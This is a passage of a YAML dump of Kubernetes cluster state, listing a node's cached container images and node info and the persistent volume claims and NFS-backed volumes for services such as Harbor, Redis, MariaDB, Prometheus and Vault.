      lastTransitionTime: "2025-11-29T14:24:33Z"
      message: kubelet is posting ready status
      reason: KubeletReady
      status: "True"
      type: Ready
    daemonEndpoints:
      kubeletEndpoint:
        Port: 10250
    images:
    - names:
      - docker.io/library/wordpress@sha256:d34b44296d24686bf1a9c70c435b1640202e8e97d824aad9997fc63a61ac5cbb
      - docker.io/library/wordpress:6.8.3-apache
      sizeBytes: 263486608
    - names:
      - docker.io/grafana/grafana@sha256:a1701c2180249361737a99a01bc770db39381640e4d631825d38ff4535efa47d
      - docker.io/grafana/grafana:12.1.1
      sizeBytes: 201615524
    - names:
      - registry-1.docker.io/bitnami/wordpress@sha256:2b2babc81d90d64d7e50cf9932cef4e5d2a466fd634387d1bac9bc1a71ffce1c
      - registry-1.docker.io/bitnami/wordpress:latest
      sizeBytes: 161010034
    - names:
      - docker.io/calico/node@sha256:92d8bcca3280cd27b9c98cb6e70c3af10ad6ff8accd288919b04ae0cd6021c2e
      - docker.io/calico/node:v3.30.3
      sizeBytes: 157078821
    - names:
      - quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      - quay.io/calico/node:v3.30.4
      sizeBytes: 156884157
    - names:
      - docker.io/envoyproxy/envoy@sha256:524a8bfd4ca3acc9531c99f8147a9fbd1465e173c71ffa9e086cca7c01a35cec
      - docker.io/envoyproxy/envoy:tools-v1.36-latest
      sizeBytes: 154480892
    - names:
      - docker.io/jaegertracing/jaeger-cassandra-schema@sha256:d48d6dab2c655197ab069a54acb7b655d5674df91067ad22028cc326af80cf78
      - docker.io/jaegertracing/jaeger-cassandra-schema:1.53.0
      sizeBytes: 154108598
    - names:
      - docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      - docker.io/library/cassandra:3.11.6
      sizeBytes: 130614920
    - names:
      - docker.io/library/kong@sha256:28c4ac43a7ede00b4d95f1409f0ec7eb348b9033006a3a8634333a067bd70166
      - docker.io/library/kong:3.8
      sizeBytes: 117558122
    - names:
      - registry-1.docker.io/bitnami/mariadb@sha256:a4e7a735755d7847a9bc639c2bfd0200dfdb60ea7a867b967fb5faee08187b31
      - registry-1.docker.io/bitnami/mariadb:latest
      sizeBytes: 107917168
    - names:
      - docker.io/calico/cni@sha256:c7c80d82dc4f85ac4d7f2345c940bc7f818bbea03c2043df89923c032d8ee7fc
      - docker.io/calico/cni:v3.26.0
      sizeBytes: 93344043
    - names:
      - docker.io/calico/node@sha256:5086f1ef0287886811fea4d545a4bbb75d9345367b1b1ad1aa4447af2ecbc4ea
      - docker.io/calico/node:v3.26.0
      sizeBytes: 87586062
    - names:
      - quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      - quay.io/frrouting/frr:9.1.0
      sizeBytes: 80293937
    - names:
      - quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      - quay.io/calico/cni:v3.30.4
      sizeBytes: 71942077
    - names:
      - docker.io/calico/cni@sha256:b32ac832411b188a8adc9e31b3e23cbbecd6d63c182a3802e947303f97c2f700
      - docker.io/calico/cni:v3.30.3
      sizeBytes: 71933934
    - names:
      - quay.io/calico/goldmane@sha256:e2532b809d90ecd57271ba720ec71b91e0bb4aa4ea67623412d98f380e8102d3
      - quay.io/calico/goldmane:v3.30.4
      sizeBytes: 66373789
    - names:
      - docker.io/envoyproxy/envoy@sha256:4972515dd9a069b44beb43cebba7851596e72a8c61cd7a7c33d8f48efc5280ba
      - docker.io/envoyproxy/envoy:v1.36-latest
      - docker.io/envoyproxy/envoy:v1.36.2
      sizeBytes: 61630169
    - names:
      - docker.io/goharbor/redis-photon@sha256:f4fd0341c992884e3c143d983434d010f21f737686b2df0488785b9a9921de3d
      - docker.io/goharbor/redis-photon:v2.14.0
      sizeBytes: 60711950
    - names:
      - quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      - quay.io/metallb/speaker:v0.15.2
      sizeBytes: 59823950
    - names:
      - registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      - registry.k8s.io/etcd:3.5.21-0
      sizeBytes: 58938593
    - names:
      - docker.io/envoyproxy/envoy@sha256:2bf7f042e3960e3904864cb09c174498e20a06859a5c394b7e3a6528a649b1da
      - docker.io/envoyproxy/envoy:v1.31.0
      sizeBytes: 56635959
    - names:
      - registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      - registry-1.docker.io/bitnami/redis:latest
      sizeBytes: 46287104
    - names:
      - docker.io/hashicorp/vault-k8s@sha256:8c18ccc87fd72930fd0c3f12ea444e9e57e83f119b93c546ed047aba29a05c5f
      - docker.io/hashicorp/vault-k8s:1.7.0
      sizeBytes: 38808816
    - names:
      - quay.io/calico/typha@sha256:8bb31fa2ba799cfe37451534be29e09598982451374f8ce41133171eb6070777
      - quay.io/calico/typha:v3.30.4
      sizeBytes: 35235100
    - names:
      - registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      - registry.k8s.io/kube-proxy:v1.33.5
      sizeBytes: 31928488
    - names:
      - registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      - registry.k8s.io/kube-apiserver:v1.33.5
      sizeBytes: 30111492
    - names:
      - registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      - registry.k8s.io/kube-controller-manager:v1.33.5
      sizeBytes: 27681301
    - names:
      - quay.io/tigera/operator@sha256:1b629a1403f5b6d7243f7dd523d04b8a50352a33c1d4d6970b6002a8733acf2e
      - quay.io/tigera/operator:v1.38.7
      sizeBytes: 25057686
    - names:
      - quay.io/jetstack/cert-manager-controller@sha256:81316365dc0b713eddddfbf9b8907b2939676e6c0e12beec0f9625f202a36d16
      - quay.io/jetstack/cert-manager-controller:v1.18.2
      sizeBytes: 21889705
    - names:
      - registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      - registry.k8s.io/kube-scheduler:v1.33.5
      sizeBytes: 21816043
    - names:
      - registry.k8s.io/coredns/coredns@sha256:40384aa1f5ea6bfdc77997d243aec73da05f27aed0c5e9d65bfa98933c519d97
      - registry.k8s.io/coredns/coredns:v1.12.0
      sizeBytes: 20939036
    - names:
      - quay.io/jetstack/cert-manager-webhook@sha256:9431f0d8b5103b06cc6138564f471ac02c6b2638c2fa399d81e28a01d817ae73
      - quay.io/jetstack/cert-manager-webhook:v1.18.2
      sizeBytes: 18891327
    - names:
      - registry.k8s.io/sig-storage/nfs-subdir-external-provisioner@sha256:63d5e04551ec8b5aae83b6f35938ca5ddc50a88d85492d9731810c31591fa4c9
      - registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
      sizeBytes: 17904239
    - names:
      - ecr-public.aws.com/docker/library/redis@sha256:c88ea2979a49ca497bbf7d39241b237f86c98e58cb2f6b1bc2dd167621f819bb
      - ecr-public.aws.com/docker/library/redis:7.2.8-alpine
      sizeBytes: 16851748
    - names:
      - quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      - quay.io/calico/node-driver-registrar:v3.30.4
      sizeBytes: 16193217
    - names:
      - quay.io/jetstack/cert-manager-cainjector@sha256:af59e01ad9756a1034fbf948330e75702e5d79b3577f323f6a9947707ba262fc
      - quay.io/jetstack/cert-manager-cainjector:v1.18.2
      sizeBytes: 16005870
    - names:
      - docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      - docker.io/jaegertracing/jaeger-agent:1.53.0
      sizeBytes: 15960708
    - names:
      - quay.io/prometheus/pushgateway@sha256:03738d278e082ee9821df730c741b3b465c251fc2b68a85883def301a55a6215
      - quay.io/prometheus/pushgateway:v1.11.1
      sizeBytes: 13223872
    - names:
      - docker.io/kubernetesui/dashboard-metrics-scraper@sha256:5154b68252bd601cf85092b6413cb9db224af1ef89cb53009d2070dfccd30775
      - docker.io/kubernetesui/dashboard-metrics-scraper:1.2.2
      sizeBytes: 12969394
    - names:
      - quay.io/prometheus/node-exporter@sha256:d00a542e409ee618a4edc67da14dd48c5da66726bbd5537ab2af9c1dfc442c8a
      - quay.io/prometheus/node-exporter:v1.9.1
      sizeBytes: 12955907
    - names:
      - quay.io/calico/csi@sha256:9de250fd764b7137c041449745062d4c31d3dbe5525de860920c3d41d8652a5d
      - quay.io/calico/csi:v3.30.4
      sizeBytes: 10259744
    - names:
      - docker.io/library/alpine@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958
      - docker.io/library/alpine:3.20
      sizeBytes: 3637877
    - names:
      - docker.io/library/alpine@sha256:6baf43584bcb78f2e5847d1de515f23499913ac9f12bdf834811a3145eb11ca1
      - docker.io/library/alpine:3.19
      sizeBytes: 3429495
    - names:
      - docker.io/library/busybox@sha256:2f590fc602ce325cbff2ccfc39499014d039546dc400ef8bbf5c6ffb860632e7
      - docker.io/library/busybox:latest
      sizeBytes: 2223686
    - names:
      - registry.k8s.io/pause@sha256:ee6521f290b2168b6e0935a181d4cff9be1ac3f505666ef0e3c98fae8199917a
      - registry.k8s.io/pause:3.10
      sizeBytes: 320368
    - names:
      - registry.k8s.io/pause@sha256:9001185023633d17a2f98ff69b6ff2615b8ea02a825adffa40422f51dfdcde9d
      - registry.k8s.io/pause:3.8
      sizeBytes: 311286
    nodeInfo:
      architecture: amd64
      bootID: ba238cb5-b046-4870-9b57-8c2ad53f71b6
      containerRuntimeVersion: containerd://1.7.27
      kernelVersion: 6.1.0-39-amd64
      kubeProxyVersion: ""
      kubeletVersion: v1.33.5
      machineID: 500bce21e12a447eb60e58b44bcc5f7c
      operatingSystem: linux
      osImage: Debian GNU/Linux 12 (bookworm)
      systemUUID: c2678c2c-e32f-40f1-98ba-dd2590b09833
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:55:17Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: primary
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/name: mariadb
      app.kubernetes.io/part-of: mariadb
    name: data-artemis-mariadb-0
    namespace: artemis
    resourceVersion: "1131422"
    uid: 7959963d-3649-4ec1-89a3-694e588df96f
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-7959963d-3649-4ec1-89a3-694e588df96f
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:02Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: primary
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/name: postgresql
    name: data-harbor-postgresql-0
    namespace: harbor
    resourceVersion: "1113222"
    uid: 78a2249f-dc0d-4dc2-90a1-4db1000feb12
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-78a2249f-dc0d-4dc2-90a1-4db1000feb12
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-10-19T11:58:01Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app: harbor
      chart: harbor
      component: redis
      heritage: Helm
      release: harbor
    name: data-harbor-redis-0
    namespace: harbor
    resourceVersion: "6777525"
    uid: a0019403-2500-49c7-b7e2-667e82e30cdb
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 1Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-a0019403-2500-49c7-b7e2-667e82e30cdb
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:02Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: trivy
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/name: harbor
    name: data-harbor-trivy-0
    namespace: harbor
    resourceVersion: "1113214"
    uid: 6c555727-2888-4047-bc61-7bfeba0d5392
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 5Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-6c555727-2888-4047-bc61-7bfeba0d5392
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 5Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-10-19T11:58:01Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app: harbor
      chart: harbor
      component: database
      heritage: Helm
      release: harbor
    name: database-data-harbor-database-0
    namespace: harbor
    resourceVersion: "6777536"
    uid: cbb1816b-c3e6-4b7e-9220-b4beac3fdc83
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 1Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-cbb1816b-c3e6-4b7e-9220-b4beac3fdc83
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:00Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app: harbor
      app.kubernetes.io/component: jobservice
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: jobservice
      helm.sh/chart: harbor-27.0.3
      heritage: Helm
      release: harbor
    name: harbor-jobservice
    namespace: harbor
    resourceVersion: "6777386"
    uid: 3fe54065-b7af-4cf6-9954-0eca113a6141
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 1Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-3fe54065-b7af-4cf6-9954-0eca113a6141
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:00Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app: harbor
      app.kubernetes.io/component: registry
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: registry
      helm.sh/chart: harbor-27.0.3
      heritage: Helm
      release: harbor
    name: harbor-registry
    namespace: harbor
    resourceVersion: "6777387"
    uid: aa86293d-17af-4c64-9566-d82ea420f826
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 5Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-aa86293d-17af-4c64-9566-d82ea420f826
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 5Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:02Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/name: redis
    name: redis-data-harbor-redis-master-0
    namespace: harbor
    resourceVersion: "1113197"
    uid: c220550b-e717-4fcf-a68b-9a2062065796
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-c220550b-e717-4fcf-a68b-9a2062065796
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:56:34Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: primary
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: mariadb
      app.kubernetes.io/part-of: mariadb
    name: data-hera-mariadb-0
    namespace: hera
    resourceVersion: "1131837"
    uid: 14e85f84-31d6-4601-a8f2-45381edeeded
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-14e85f84-31d6-4601-a8f2-45381edeeded
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:43Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "1129854"
    uid: a1f68b11-0c57-464c-be56-b361258c134b
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-a1f68b11-0c57-464c-be56-b361258c134b
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:45Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
    name: storage-prometheus-community-alertmanager-0
    namespace: prometheus
    resourceVersion: "1130004"
    uid: a1521467-6889-4cf6-ad92-df8ee058c430
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 2Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-a1521467-6889-4cf6-ad92-df8ee058c430
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 2Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:02Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    name: redis-data-redis-master-0
    namespace: redis
    resourceVersion: "1129504"
    uid: 44b385d5-6ef0-46cf-bbfa-2ad07ad14adf
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-44b385d5-6ef0-46cf-bbfa-2ad07ad14adf
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:02Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    name: redis-data-redis-replicas-0
    namespace: redis
    resourceVersion: "1129496"
    uid: 56c6fcb3-806a-4418-8146-e3d5371e9a7f
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-56c6fcb3-806a-4418-8146-e3d5371e9a7f
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:30Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    name: redis-data-redis-replicas-1
    namespace: redis
    resourceVersion: "1129735"
    uid: 93492e00-bea1-42d3-b1af-fd8963b1c1c4
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-93492e00-bea1-42d3-b1af-fd8963b1c1c4
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:57Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    name: redis-data-redis-replicas-2
    namespace: redis
    resourceVersion: "1130127"
    uid: 5a007367-91c1-46f3-9790-a3e1ea4fa84e
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 8Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-5a007367-91c1-46f3-9790-a3e1ea4fa84e
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolumeClaim
  metadata:
    annotations:
      pv.kubernetes.io/bind-completed: "yes"
      pv.kubernetes.io/bound-by-controller: "yes"
      volume.beta.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
      volume.kubernetes.io/storage-provisioner: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-21T20:18:48Z"
    finalizers:
    - kubernetes.io/pvc-protection
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      component: server
    name: data-vault-0
    namespace: vault
    resourceVersion: "1109398"
    uid: 60cbeb97-f886-4e72-9fab-fc7a70c05f3e
  spec:
    accessModes:
    - ReadWriteOnce
    resources:
      requests:
        storage: 10Gi
    storageClassName: nfs-client
    volumeMode: Filesystem
    volumeName: pvc-60cbeb97-f886-4e72-9fab-fc7a70c05f3e
  status:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 10Gi
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:56:34Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-14e85f84-31d6-4601-a8f2-45381edeeded
    resourceVersion: "1131832"
    uid: 04b7098f-640c-4cab-879d-3a551380670d
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-hera-mariadb-0
      namespace: hera
      resourceVersion: "1131818"
      uid: 14e85f84-31d6-4601-a8f2-45381edeeded
    nfs:
      path: /srv/nfs/hera-data-hera-mariadb-0-pvc-14e85f84-31d6-4601-a8f2-45381edeeded
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:56:34Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:01Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-3fe54065-b7af-4cf6-9954-0eca113a6141
    resourceVersion: "1113035"
    uid: a2163d35-bb4a-4dc4-962b-bda35131b84b
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: harbor-jobservice
      namespace: harbor
      resourceVersion: "1113005"
      uid: 3fe54065-b7af-4cf6-9954-0eca113a6141
    nfs:
      path: /srv/nfs/harbor-harbor-jobservice-pvc-3fe54065-b7af-4cf6-9954-0eca113a6141
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:20:01Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:02Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-44b385d5-6ef0-46cf-bbfa-2ad07ad14adf
    resourceVersion: "1129500"
    uid: adcdada5-92f5-4ea4-9367-2e349eb43857
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: redis-data-redis-master-0
      namespace: redis
      resourceVersion: "1129472"
